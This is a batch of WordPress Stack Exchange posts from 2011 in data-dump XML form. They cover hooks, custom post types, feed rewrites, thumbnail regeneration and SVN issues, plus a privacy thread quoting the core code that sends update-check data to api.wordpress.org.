  <row Id="23042" PostTypeId="1" CreationDate="2011-07-15T11:56:54.160" Score="0" ViewCount="32" Body="&lt;p&gt;Just putting my feelers out on this one, I need to be able to accept incoming emails and add  them as posts, however I want to be able to do a bit of processing first, for example I want to change the slug, prepend a string to the title etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can hook into the email function, change some data and then let it continue. I also might want to reject the email if it isn't sent from an approved domain (this will be a field in a custom post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my requirements achievable or am I barking up the wrong tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered the &lt;code&gt;save_post&lt;/code&gt; hook, although it fires after the post has saved... not really what I'm looking for. Is there a hook that gets fired before a post is saved, giving me all the info about the post, especially where it's been created from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively is there a way to add a post manually... so I handle the receiving of the email with my own code + cron, then have an API to create a new post with?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditorDisplayName="" LastEditDate="2011-07-15T12:48:39.157" LastActivityDate="2011-08-12T21:37:27.390" Title="Extending post by email" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;email&gt;" AnswerCount="1" />
  <row Id="23043" PostTypeId="2" ParentId="23041" CreationDate="2011-07-15T12:07:14.900" Score="2" ViewCount="" Body="&lt;p&gt;First, if you want to target the &lt;em&gt;site Front Page&lt;/em&gt;, you need to use &lt;code&gt;is_front_page()&lt;/code&gt;. The &lt;code&gt;is_home()&lt;/code&gt; conditional returns true when the &lt;em&gt;blog posts index&lt;/em&gt; is displayed, which may or may not be on the &lt;em&gt;site Front Page&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you need to hook your function into an appropriate hook, which it appears in this case is &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also: what is &lt;code&gt;get_theme_part()&lt;/code&gt;? Is it a custom function in WP Framework?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can do this in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_enqueue_front_page_scripts() {&#xA;    if( is_front_page() )&#xA;    {&#xA;        wp_enqueue_script( 'homestuff', get_theme_part( THEME_JS . '/home.js' ), array( 'jquery' ), null, true );&#xA;        wp_enqueue_script( 'jquerycolor', get_theme_part( THEME_JS . '/jquery.color.js' ), array( 'jquery' ), null, true );&#xA;    }&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_front_page_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-15T12:07:14.900" CommentCount="2" />
  <row Id="23044" PostTypeId="2" ParentId="23039" CreationDate="2011-07-15T12:22:48.787" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function ribbon_list_cats( $parent_cat_slug, $echo = true )&#xA;{&#xA;    $parent_category = get_category_by_slug( $parent_cat_slug );&#xA;    if ( $parent_category-&amp;gt;count &amp;gt; 0 ) &#xA;    {&#xA;        $output  = '&amp;lt;ul&amp;gt;';&#xA;        $output .= wp_list_categories('title_li=&amp;amp;child_of='.$parent_category-&amp;gt;term_id.'&amp;amp;hide_empty=0&amp;amp;show_option_none=&amp;amp;echo=0');&#xA;        $output .= '&amp;lt;/ul&amp;gt;';&#xA;    }&#xA;    // Debug: uncomment the following line&#xA;    // echo '&amp;lt;pre&amp;gt;'; var_dump( $output ); echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;    if ( $echo === false )&#xA;        return $output;&#xA;&#xA;    return print $output;&#xA;}&#xA;&#xA;// Call it like this:&#xA;ribbon_list_cats( 'uncategorized' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-15T13:49:33.377" LastActivityDate="2011-07-15T13:49:33.377" CommentCount="5" />
  <row Id="23045" PostTypeId="1" CreationDate="2011-07-15T12:23:31.497" Score="0" ViewCount="22" Body="&lt;pre&gt;&lt;code&gt;function customise_feed_rules($rules)&#xA;{&#xA;    global $wp_rewrite;&#xA;&#xA;    // Remove all feed related rules&#xA;    $filtered_rules = array_filter( $rules, function($rule){ return !preg_match(&quot;/feed/i&quot;, $rule); } );&#xA;&#xA;    // Add the rule(s) for your custom feed(s)&#xA;    $new_rules = array(&#xA;        'news.(rdf|rss|rss2|atom)' =&amp;gt; 'index.php?pagename=news&amp;amp;feed=$matches[1]'&#xA;    );&#xA;&#xA;    return $new_rules + $filtered_rules;&#xA;}&#xA;&#xA;// Add the custom feed and update rewrite rules&#xA;function add_custom_feeds()&#xA;{&#xA;    global $wp_rewrite;&#xA;&#xA;    add_filter('rewrite_rules_array','customise_feed_rules');&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&#xA;add_action('init', 'add_custom_feeds');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this code, news.rss is working but I'm getting &quot;/feed/rss&quot; at the end of the URL -&gt; (http://xxx.com/news.rss/feed/rss) and I don't know how to get rid of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rules in the database don't have any &quot;feed&quot; because they are all deleted with the preg_match function. From where does the &quot;feed/rss&quot; is comming from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example of code is intended to work with all the feeds (rss2, rss, atom and rdf)&lt;/p&gt;&#xA;" OwnerUserId="7049" LastActivityDate="2011-07-15T12:23:31.497" Title="Disable default feed/rss rewrite and create .rss rewrite" Tags="&lt;url-rewriting&gt;&lt;feed&gt;&lt;rewrite-rules&gt;" />
  <row Id="23046" PostTypeId="2" ParentId="23031" CreationDate="2011-07-15T12:30:09.750" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at this line: &lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'lions_news', 'with_front' =&amp;gt; false ),&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-15T12:30:09.750" CommentCount="6" />
  <row Id="23047" PostTypeId="1" CreationDate="2011-07-15T12:40:04.840" Score="7" ViewCount="111" Body="&lt;p&gt;I'm generally concerned about privacy and I've heard that with each contact to the Wordpress API for update checks and similar a lot of my blogs data is being transfered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a better impression, I'd like to more specifically know which data is being transfered and when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's done with the information and who has access to the information? How long is it stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found no information about that in the packages readme nor on the worpdress.org website so far.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-15T12:54:24.473" LastActivityDate="2011-07-27T16:45:23.807" Title="Which of my blog and personal data is being transfered when Wordpress automatically checks for updates?" Tags="&lt;wordpress.org&gt;&lt;api&gt;&lt;privacy&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="5" />
  <row Id="23048" PostTypeId="2" ParentId="23013" CreationDate="2011-07-15T12:46:39.463" Score="0" ViewCount="" Body="&lt;p&gt;Create a custom wp-signup.php, then follow masonjames instruction on the link below:&#xA;&lt;a href=&quot;http://premium.wpmudev.org/forums/topic/wp-signupphp#post-39782&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/forums/topic/wp-signupphp#post-39782&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-15T12:46:39.463" />
  <row Id="23049" PostTypeId="2" ParentId="23047" CreationDate="2011-07-15T12:49:20.627" Score="4" ViewCount="" Body="&lt;p&gt;&lt;em&gt;This does not answer the question in specific, but those are some resources regarding the question (as a community wiki, feel free to add stuff).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Blog Articles and Discussions&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lynnepope.net/data-wordpress-sends&quot; rel=&quot;nofollow&quot;&gt;What Data Does WordPress Send Back to the Mothership (Lynne Pope; 14 Dec 2009)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weblogtoolscollection.com/archives/2009/12/10/is-wordpress-spyware/&quot; rel=&quot;nofollow&quot;&gt;Is WordPress Spyware? (Jeff Chandler; 10 Dec 2009)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wptavern.com/forum/general-wordpress/1085-wordpress-phone-home.html&quot; rel=&quot;nofollow&quot;&gt;WordPress Tavern Forums: WordPress and phone home (Started 7 Dec 2009)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://groups.google.com/group/wp-hackers/browse_thread/thread/72568234c58b8294&quot; rel=&quot;nofollow&quot;&gt;wp-hackers Mailinglist: Revisiting phone home and privacy (Started 7 Dec 2009)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yro.slashdot.org/story/07/09/25/1632246/WordPress-23-Does-Not-Spy-On-Users-UPDATED&quot; rel=&quot;nofollow&quot;&gt;WordPress 2.3 Does Not Spy On Users [UPDATED] (Slashdot; 25  Sep 2007)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wank.wordpress.com/2007/09/24/wp-phone-home/&quot; rel=&quot;nofollow&quot;&gt;WP, phone home (24 Sep 2007)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://groups.google.com/group/wp-hackers/browse_thread/thread/bdced7524fa79a18/2d4e69fb46a6a947&quot; rel=&quot;nofollow&quot;&gt;wp-hackers Mailinglist: Plugin update &amp;amp; security / privacy Options (Started 23 Sep 2007)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;WP core resources and Trac Tickets&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/about/privacy/&quot; rel=&quot;nofollow&quot;&gt;Wordpress.org Privacy Policy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Trac tickets&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16818&quot; rel=&quot;nofollow&quot;&gt;Ticket #16818 - Akismet should suggest user to check current legal situation regarding data protection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16778&quot; rel=&quot;nofollow&quot;&gt;Ticket #16778 - wordpress is leaking user/blog information during wp_version_check()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12672&quot; rel=&quot;nofollow&quot;&gt;Ticket #12672 - Provide Multisite stats to api.wordpress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/5066&quot; rel=&quot;nofollow&quot;&gt;Ticket #5066 - Anonymize update checking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/5065&quot; rel=&quot;nofollow&quot;&gt;Ticket #5065 - Unify User-Agent strings&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Core code snippets&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/changeset/14010&quot; rel=&quot;nofollow&quot;&gt;trunk/wp-includes/update.php &lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Code Stubs&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tinyurl.com/yabev69&quot; rel=&quot;nofollow&quot;&gt;Mark Jaquith's demo-plugin how to exclude a plugin from API version check (15 Dec 2009)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Questions regarding Akismet, Facebook and other Add-Ons alike that deal with personal data&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blogs making use of third-party tools should check the current legal situation regarding data protection while making a third-party dealing with user-input.&lt;/li&gt;&#xA;&lt;li&gt;Can you as a blog owner ensure that you can fulfill your blogs users rights on their data? Like document to whom you sended their data and how to deal with deletion requests on your behalf?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;International/Country specific Resources and Pointers&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DE: &lt;a href=&quot;http://spreerecht.de/datenschutz/2011-02/rechtswidrig-wordpress-com-stats-plugin-jetzt-mit-werbetrojanern&quot; rel=&quot;nofollow&quot;&gt;Rechtswidrig: WordPress.com-Stats Plugin als Trojaner für Werbetracker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;DE: &lt;a href=&quot;http://spreerecht.de/datenschutz/2011-04/wordpress-com-stats-pluginjetpackblogs-datenschutzkonform-nutzen-mit-muster-der-datenschutzerklaerung&quot; rel=&quot;nofollow&quot;&gt;WordPress.com-Stats (Plugin/Jetpack/Blogs) datenschutzkonform nutzen (mit Muster der Datenschutzerklärung)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-27T16:45:23.807" LastActivityDate="2011-07-27T16:45:23.807" CommunityOwnedDate="2011-07-15T12:49:42.610" />
  <row Id="23050" PostTypeId="1" AcceptedAnswerId="23051" CreationDate="2011-07-15T12:54:19.760" Score="0" ViewCount="18" Body="&lt;p&gt;I have 500x300 sized images in my all post and want 280x177 sized images to display in index page for all the post. I used regenerate thumbnails and AJAX thumbnail rebuild plugin which builds images using setting in media section but problem is that after building some of the images it stops reacting and just hangs. Why this is happening? Is these plugins not work with more images. I have approximately 2000 images. Please help me. How to rebuild this images. Thanks in advance....&lt;/p&gt;&#xA;" OwnerUserId="7050" LastActivityDate="2011-07-15T13:20:08.410" Title="How to regenerate image thumb with size that is specified in media section" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="23051" PostTypeId="2" ParentId="23050" CreationDate="2011-07-15T13:20:08.410" Score="0" ViewCount="" Body="&lt;p&gt;Very likely, your issue is the large number of images, causing the processing to time out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try increasing your PHP script execution time, and see if either Plugin can complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I believe that one or both of those Plugins allows for manual thumbnail regeneration, via &lt;code&gt;Dashboard -&amp;gt; Media&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-15T13:20:08.410" CommentCount="1" />
  <row Id="23052" PostTypeId="1" AcceptedAnswerId="23062" CreationDate="2011-07-15T13:37:32.013" Score="0" ViewCount="41" Body="&lt;p&gt;I have a blog with all the plugins I need committed to an internal svn repository. Wordpress is showing that some plugins need to be updated but when I do, Wordpress will delete the folder for that plugin so the .svn files are deleted as well. This will break the repository for that plugin. Any way around this?&lt;/p&gt;&#xA;" OwnerUserId="5804" LastActivityDate="2011-07-15T14:24:07.617" Title="Updating a Wordpress plugins breaks SVN" Tags="&lt;plugins&gt;&lt;svn&gt;" AnswerCount="2" />
  <row Id="23053" PostTypeId="2" ParentId="23047" CreationDate="2011-07-15T13:41:31.340" Score="2" ViewCount="" Body="&lt;h3&gt;Calls from core to api.wordpress.org (wp 3.2.1)&lt;/h3&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From the phpDoc blocks:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside head of &lt;code&gt;wp_update_themes()&lt;/code&gt;: &quot;&lt;em&gt;A list of all themes installed in sent to WP.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://api.wordpress.org/themes/update-check/1.0/&quot; rel=&quot;nofollow&quot;&gt;Themes&lt;/a&gt;&#xA;&lt;code&gt;/wp-includes/update.php &amp;gt; line 261-267, called on line 280&lt;/code&gt; [1]. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://api.wordpress.org/plugins/update-check/1.0/&quot; rel=&quot;nofollow&quot;&gt;Plugins&lt;/a&gt; &lt;code&gt;/wp-includes/update.php &amp;gt; line 166-172, called on line 184&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.wordpress.org/core/version-check/1.6/&quot; rel=&quot;nofollow&quot;&gt;Core&lt;/a&gt; &lt;code&gt;/wp-includes/update.php &amp;gt; starting on line 22&lt;/code&gt; [3]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[1]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'timeout' =&amp;gt; ( ( defined('DOING_CRON') &amp;amp;&amp;amp; DOING_CRON ) ? 30 : 3),&#xA;    'body'          =&amp;gt; array( 'themes' =&amp;gt; serialize( $themes ) ),&#xA;    'user-agent'    =&amp;gt; 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )&#xA;);&#xA;$raw_response = wp_remote_post( 'http://api.wordpress.org/themes/update-check/1.0/', $options );&#xA;set_site_transient( 'update_themes', $new_update );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[2]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'timeout' =&amp;gt; ( ( defined('DOING_CRON') &amp;amp;&amp;amp; DOING_CRON ) ? 30 : 3),&#xA;    'body' =&amp;gt; array( 'plugins' =&amp;gt; serialize( $to_send ) ),&#xA;    'user-agent' =&amp;gt; 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )&#xA;);&#xA;&#xA;$raw_response = wp_remote_post('http://api.wordpress.org/plugins/update-check/1.0/', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[3]&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'timeout' =&amp;gt; ( ( defined('DOING_CRON') &amp;amp;&amp;amp; DOING_CRON ) ? 30 : 3 ),&#xA;    'user-agent' =&amp;gt; 'WordPress/' . $wp_version . '; ' . home_url( '/' ),&#xA;    'headers' =&amp;gt; array(&#xA;        'wp_install' =&amp;gt; $wp_install,&#xA;        'wp_blog' =&amp;gt; home_url( '/' )&#xA;    )&#xA;);&#xA;&#xA;$response = wp_remote_get($url, $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-15T16:03:52.560" LastActivityDate="2011-07-15T16:03:52.560" CommentCount="2" />
  <row Id="23054" PostTypeId="1" AcceptedAnswerId="23094" CreationDate="2011-07-15T13:42:11.410" Score="0" ViewCount="94" Body="&lt;p&gt;I was trying to clear up some empty tables left behind by other previously used plugins. As such i was trying to delete the GD Star rating plugin and now I cannot access my WP admin. i get the &lt;code&gt;'You do not have sufficient permissions to access this page'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned on the debug to true and saw the errors caused by lots of plugins. So I disabled all of them, but nothing helps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the query I had run (and then just checked the output and clicked 'Drop' which messed it up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM  `mydomain_main`.`wp_options` &#xA;WHERE (&#xA;`option_id` LIKE  '%ratings_%'&#xA;OR  `blog_id` LIKE  '%ratings_%'&#xA;OR  `option_name` LIKE  '%ratings_%'&#xA;OR  `option_value` LIKE  '%ratings_%'&#xA;OR  `autoload` LIKE  '%ratings_%'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please please advise&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-15T18:41:32.823" Title="Help!! I Screwed up my WP" Tags="&lt;plugins&gt;&lt;mysql&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="23055" PostTypeId="1" CreationDate="2011-07-15T13:54:44.060" Score="0" ViewCount="41" Body="&lt;p&gt;I've got a custom post type which displays portfolio items. I display the portfolio category on the page using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$myterms = get_the_terms($post-&amp;gt;ID,'portfolio_category');&#xA;        foreach ($myterms as $myterm ) {&#xA;         echo $myterm-&amp;gt;slug.&quot;\n&quot;;&#xA;        }   &#xA;    ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine as long as the portfolio item has a category. If it doesn't I get an error. Is there a way round this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7051" LastActivityDate="2011-07-16T04:29:27.047" Title="Check if post belongs to any category" Tags="&lt;plugin-development&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="23056" PostTypeId="2" ParentId="23032" CreationDate="2011-07-15T13:59:22.613" Score="0" ViewCount="" Body="&lt;p&gt;I agree with Martin. WP is simple and very easy to get started with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only advice I would add is that you spend some time planning your website and what features you want on it. Research any and every possibility and as Martin pointed out always use the WP Codex as a starting point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck&lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-07-15T13:59:22.613" CommentCount="1" />
  <row Id="23057" PostTypeId="1" AcceptedAnswerId="23066" CreationDate="2011-07-15T13:59:43.657" Score="1" ViewCount="64" Body="&lt;p&gt;I'm doing a category-based search that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed = WP_Query(&quot;category_name=noticias&amp;amp;showposts=3&amp;amp;order=DESC&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is this also brings me posts from the child categories, which I would like to avoid... how do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed = query_posts(array('category__in' =&amp;gt; array(102)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I am told that $feed is not an object next time I try to do something with it... that's why WP_Query was good for me in the first place.&lt;/p&gt;&#xA;" OwnerUserId="5057" LastEditorUserId="5057" LastEditorDisplayName="" LastEditDate="2011-07-15T14:07:07.597" LastActivityDate="2011-07-15T15:22:56.137" Title="how do I exclude child categories from a wp_query?" Tags="&lt;wp-query&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="23058" PostTypeId="2" ParentId="22735" CreationDate="2011-07-15T14:05:35.587" Score="0" ViewCount="" Body="&lt;p&gt;How can i save post data now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ri_meta_save_data($post_id) {&#xA;    global $post;&#xA;&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // verify nonce -- checks that the user has access&#xA;    if (!wp_verify_nonce($_POST['ri_meta_box_nonce'], basename(__FILE__))) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    // check permissions&#xA;    if ('page' == $_POST['post_type']) {&#xA;        if (!current_user_can('edit_page', $post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;    } elseif (!current_user_can('edit_post', $post_id)) {&#xA;        return $post_id;&#xA;    }&#xA;&#xA;    foreach ((array)$meta_b['args']['fields'] as $field) {&#xA;        $old = get_post_meta($post_id, $field['id'], true);&#xA;        $new = $_POST[$field['id']];&#xA;&#xA;        if ($new &amp;amp;&amp;amp; $new != $old) {&#xA;            update_post_meta($post_id, $field['id'], $new);&#xA;        } elseif ('' == $new &amp;amp;&amp;amp; $old) {&#xA;            delete_post_meta($post_id, $field['id'], $old);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2011-07-15T14:05:35.587" />
  <row Id="23059" PostTypeId="1" CreationDate="2011-07-15T14:17:08.957" Score="0" ViewCount="69" Body="&lt;p&gt;I use this code when create input box for post meta box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot; id=&quot;x&quot; value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I need to handle radio box which has 2 inputs with the same name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;option&quot; id=&quot;option-current&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;option&quot; id=&quot;option-custom&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If use  echo $name; and echo $value  with radio type, post meta will have 2 value for one key, that makes the radio selection lost meaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get correct result from the radio type?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="5210" LastEditorDisplayName="" LastEditDate="2011-07-15T14:34:59.587" LastActivityDate="2011-07-15T14:34:59.587" Title="How to get value in radio input in post meta box?" Tags="&lt;posts&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="23060" PostTypeId="2" ParentId="23052" CreationDate="2011-07-15T14:19:39.920" Score="0" ViewCount="" Body="&lt;p&gt;How are you updating the plugins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way around this I have found is to go in to each folder and replace files folder by folder without replacing a folder. A pain but it's the only way I know of. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-15T14:19:39.920" />
  <row Id="23061" PostTypeId="2" ParentId="23055" CreationDate="2011-07-15T14:21:20.800" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_the_terms&lt;/code&gt; return and error on failure. So before your foreach loop check for the error and only run it if there is none, using &lt;code&gt;is_wp_error&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$myterms = get_the_terms( $post-&amp;gt;ID, 'portfolio_category' );&#xA;&#xA;if( !is_wp_error( $myterms ) )&#xA;    foreach( $myterms as $myterm )&#xA;        echo $myterm-&amp;gt;slug . '&amp;lt;br /&amp;gt;';&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-16T04:29:27.047" LastActivityDate="2011-07-16T04:29:27.047" CommentCount="1" />
  <row Id="23062" PostTypeId="2" ParentId="23052" CreationDate="2011-07-15T14:24:07.617" Score="1" ViewCount="" Body="&lt;p&gt;a simple way around this is to update the plugins by SVN from the plugin repository.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-15T14:24:07.617" CommentCount="2" />
  <row Id="23063" PostTypeId="2" ParentId="23059" CreationDate="2011-07-15T14:27:37.387" Score="1" ViewCount="" Body="&lt;p&gt;Radio buttons should have the same name with different values if you want to group them together. I'd call them something that isn't option and not use the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3schools.com/html/html_forms.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/html/html_forms.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-15T14:27:37.387" />
